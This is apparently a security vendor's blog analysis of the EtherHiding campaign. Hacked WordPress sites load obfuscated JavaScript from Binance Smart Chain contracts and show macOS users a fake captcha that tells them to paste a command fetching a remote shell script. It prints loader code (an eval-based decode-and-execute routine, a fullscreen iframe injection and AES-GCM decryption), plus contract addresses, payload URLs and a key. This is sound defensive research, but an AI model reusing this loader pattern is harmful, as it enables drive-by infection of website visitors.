Less than two weeks ago, one of many dormant smart contracts residing on the Binance Smart Chain suddenly surged back to life. Contract variables were updated, payloads were reactivated, and the attack is now potentially active on over 19,800 compromised websites.

The attack is known as EtherHiding, primarily focusing on leveraging blockchain smart contracts to deliver dynamic ClickFix-style captcha payloads to victims. We initially wrote about ClickFix attacks targeting macOS back in February, but as with all attacks, has since changed in its delivery. This growing class of client-side threats are increasingly difficult to detect, let alone mitigate.

We are cside, and we monitor client-side, third-party JavaScript attacks. In Q1 of 2025 alone, we observed over 300K compromised websites.

Why Binance Smart Chain?

Binance Smart Chain (BSC) is a rapidly expanding blockchain platform that’s designed to run smart contract-based applications for users looking to venture into the world of cryptocurrency. Unlike traditional chains (like Ethereum for example), BSC emphasizes low transaction costs with high throughput of transactions - making it attractive not only to decentralized finance developers, but also to threat actors.

Using these smart contracts, a threat actor can store malicious payloads on-chain, which gives a few benefits to an attacker over traditional cloud infrastructure:

Immutable hosting (because once it’s on the blockchain, it exists forever)
Decentralized storage with no ability to take it down
Real-time updating through contract functions

In this EtherHiding campaign, getter and setter functions within these contracts are used to deliver JavaScript payloads that adapt to the victim’s environment. They decrypt and decompress in the browser, and execute.

Analyzing the Attack Chain

The attack starts with injected vulnerable code in the `<head>` tag of a site, primarily on WordPress installations. Our analysis points to vulnerable plugins as the likely access vector. Once the malicious code is inserted in the site, it kicks off a multi-stage attack that gathers its next steps from the blockchain itself.

Step 1: Initial Compromise & Setup

The first point of contact for this malicious script is not an attacker-controlled server, but rather a Web3 connection to the Binance Smart Chain. The script reaches out to the smart contract at address 0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53, kicking off the attack by asking for further instructions from this contract.

The returned contract ABI (Application Binary Interface - or a list of instructions in the contract) and information are both Base64-encoded and gzip-compressed, requiring the script to decompress them using the library pako (a JavaScript port of the zlib compression library) before they can be parsed and used.


const web3 = new Web3("https://bsc-dataseed.binance[.]org/");
const contract = new web3.eth.Contract([...], "0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53");


const orchidABI = await contract.methods.orchidABI().call();
const orchidAddress = await contract.methods.orchidAddress().call();
const orchid = new web3.eth.Contract(JSON.parse(orchidABI), orchidAddress);

After establishing contact, the script calls a blockchain function to return the next smart contract address, located at 0x8FBA1667BEF5EdA433928b220886A830488549BD.

Step 2: Multi-Payload Loader through tokyoSkytree

The contract `0x8FBA1667BEF5EdA433928b220886A830488549BD`, internally named the Orchid contract, is the most important contract of the attack chain.

Inside of this contract holds five essential functions that determine what happens next in the attack:

`tokyoSkytree`
`akihabaraLights`
`asakusaTemple`
`ginzaLuxury`
`shibuyaCrossing`

The core of the attack is initiated by the function `tokyoSkytree`, which behaves like a remote-controlled loader and orchestrator for the entire payload. It executes the other four smart contract functions one after another, each returning a compressed and Base64-encoded JavaScript blob to further obfuscate its responses.


(async () => {
  if (!checkCookie('not-robot')) {
    await teaCeremony(await orchid.methods.shibuyaCrossing().call(), 2);
    await teaCeremony(await orchid.methods.akihabaraLights().call(), 3);
    await teaCeremony(await orchid.methods.ginzaLuxury().call(), 4);
    await teaCeremony(await orchid.methods.asakusaTemple().call(), 5);
    setCookie('not-robot', 30);
  }
})();

Each of these smart contract functions return a payload that is decoded and dynamically executed using the function `teaCeremony`:


const teaCeremony = async (encodedScroll, templeNumber) => {
  const cherryBlossoms = atob(encodedScroll);
  const calligraphy = Uint8Array.from(cherryBlossoms, c => c.charCodeAt(0));
  const haiku = pako.ungzip(calligraphy, { to: "string" }).trim();
  await eval(`(async () => { ${haiku} })()`);
};

This (simplified) pipeline decodes the Base64 string, decompresses it with gzip, and executes it using the eval function. This design makes the attack campaign both modular and agile, as the payloads stored on chain can be swapped out incredibly quickly.

Step 3: Fingerprinting the Victim

shibuyaCrossing - Determine the operating system


const summonSpiritOfPlatform = () => {
  const { userAgent, platform } = navigator;
  if (/Win/i.test(platform)) return "Windows";
  if (/Mac/i.test(platform)) return "MacOS";
  if (/Linux/i.test(platform)) return /Android/.test(userAgent) ? "Android" : "Linux";
  return "Unknown";
};

akihabaraLights - Determine the browser


const summonSpiritOfBrowser = () => {
  const { userAgent } = navigator;
  if (/Chrome/i.test(userAgent)) return "Chrome";
  if (/Firefox/i.test(userAgent)) return "Firefox";
  if (/Safari/i.test(userAgent) && !/Chrome/i.test(userAgent)) return "Safari";
  return "Unknown";
};

The two functions `shibuyaCrossing` and `akihabaraLights` are used to fingerprint the victim’s environment through their operating system and browser information. This information is used later to serve a specific version of the attack based on what browser or OS is used.

Step 4: Decryption and Payload Injection

After fingerprinting the user’s environment, `ginzaLuxury` reaches out to a third and final smart contract (located at 0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA, named the Jade contract) that again loads more functions.

Notably: `getRandomSkylineByBrowserAndPlatform`.

This function, after passing the browser and operating system variables determined previously, returns a URL to fetch with the encrypted HTML to display. Downloading this payload and decrypting it with the function `pearlTower`, which contains an AES-GCM decryption key, the attack is finally injected in a fullscreen iframe tag that overlays the victim’s screen.


const cherryBlossomHTML = await (await fetch(skylineUrl)).text();
const sakuraKey = await JadeContract.methods.pearlTower().call();
const decryptedHTML = await decryptScrollToText(cherryBlossomHTML, sakuraKey);

const iframe = document.createElement("iframe");
iframe.srcdoc = decryptedHTML;
iframe.style = "position: fixed; width: 100%; height: 100%; z-index: 2147483647;";
document.body.appendChild(iframe);

Based on our research the only currently active URL is `https://yie-cpj[.]pages[.]dev/mac`, which has an active payload for Firefox, Google Chrome and Safari users on macOS.

Step 5: Analyzing the Encrypted HTML

To validate the final stage of this attack, we decoded and analyzed the encrypted HTML that is hosted on `https://yie-cpj[.]pages[.]dev/mac`. Using a script developed during research, we were able to collect the blockchain transactions, decode each payload sent to the contract, and determine the last valid decryption key used.

The key `5AcwjGp22pUrT92hKNrO7f7bsbZJPz2PpWYwnP0Muhs=` can be used to decrypt the HTML payload using the decryption function `decryptScrollToText`:


async function decryptScrollToText(encryptedBase64, keyBase64) {
   const key = Uint8Array.from(atob(keyBase64), c => c.charCodeAt(0));
   console.log(key);
   const combinedData = Uint8Array.from(atob(encryptedBase64), c => c.charCodeAt(0));
   const iv = combinedData.slice(0, 12);
   const encryptedData = combinedData.slice(12);
   const cryptoKey = await crypto.subtle.importKey(
       "raw", key, "AES-GCM", false, ["decrypt"]
   );
   const decryptedArrayBuffer = await crypto.subtle.decrypt(
       { name: "AES-GCM", iv },
       cryptoKey,
       encryptedData
   );
   return new TextDecoder().decode(decryptedArrayBuffer);
}

The resulting HTML is a ClickFix-style phishing payload that’s designed to appear like a reCAPTCHA verification page. Rather than validating the user using images, it instructs a victim to:

Open the macOS terminal
Paste and execute a Base64 encoded command that dynamically retrieved from the `jadeCode()` function on-chain

The terminal command shown to users uses Base64 to obfuscate the payload URL: https://kimbeech[.]cfd/cap/verify.sh.

While the URL was inactive at the time of analysis and the `verify[.]sh` script could not be retrieved for further examination, the structure and delivery method leave no doubt about the attacker’s true intent.

By instructing a victim to run a clipboard-injected command in their terminal, the attacker is attempting to execute a remote Bash script under the guise of a familiar CAPTCHA verification process. This is a key characteristic of the ClickFix social engineering technique, and represents a serious risk of full device compromise.

Why Client-Side Security Matters More than Ever

Attacks like EtherHiding demonstrate just how far client-sided threats have evolved in today’s threat landscape. These attacks are modular, obfuscated, and like EtherHiding, can be entirely delivered through decentralized infrastructure that can’t be shut down.

Because the payload lives within the browser and reacts based on the user's environment, these attacks can fly under the radar of traditional server-side protections. They don’t even require exploiting the server itself. All they need is the victim to load the page.

Staying ahead of these threats means not only monitoring your code, but also what your browser is executing. That includes things like third party scripts, injected assets, and keeping a close eye on behaviors that can mutate in real time. As client-side attack surfaces grow more and more complex, so too must our approach to defending against them.

Glossary

Name	Contract Address	Purpose
Loader	0x9179dda8B285040Bf381AABb8a1f4a1b8c37Ed53	Initial contract providing orchid ABI and address
Orchid	0x8FBA1667BEF5EdA433928b220886A830488549BD	Main execution logic that delivers Base64 + gzip JavaScript
Jade	0x53fd54f55C93f9BCCA471cD0CcbaBC3Acbd3E4AA	Stores encrypted payload URLs and AES-GCM keys

URL	Behavior
https://yie-cpj[.]pages[.]dev/mac	Fullscreen CAPTCHA phishing overlay (macOS-targeted)
https://hfdjmoedkjf[.]asia/	Telemetry endpoint used to log user-agent strings
https://kimbeech[.]cfd/	Remote shell script URL (currently inactive)
https://orange-service[.]xyz	Telemetry endpoint on the attack page, also used for reporting user-agent strings

Contract	Function	Role in Attack
Orchid	tokyoSkytree()	Entry point that loads and executes other contract functions
Orchid	shibuyaCrossing()	Returns operating system detection script
Orchid	akihabaraLights()	Returns browser detection script
Orchid	ginzaLuxury()	Loads the Jade contract and also triggers the decryption and rendering flow
Orchid	asakusaTemple()	Sends telemetry data back to threat actor
Jade	getRandomSkylineByBrowserAndPlatform()	Returns AES-GCM decryption key for HTML popup payloads
Jade	pearlTower()	Exposes all payload mappings with URLs
Jade	getAllSkylines()	Allows attacker to change decryption key (e.g., rotate encryption)
Jade	setPearlTower()	Allows attacker to swap payload URLs across multiple platforms

The Blockchain Is Not Your Friend: Examining EtherHiding and using Blockchain for Attacks

Tuesday, September 2nd, 2025

Jack LaFond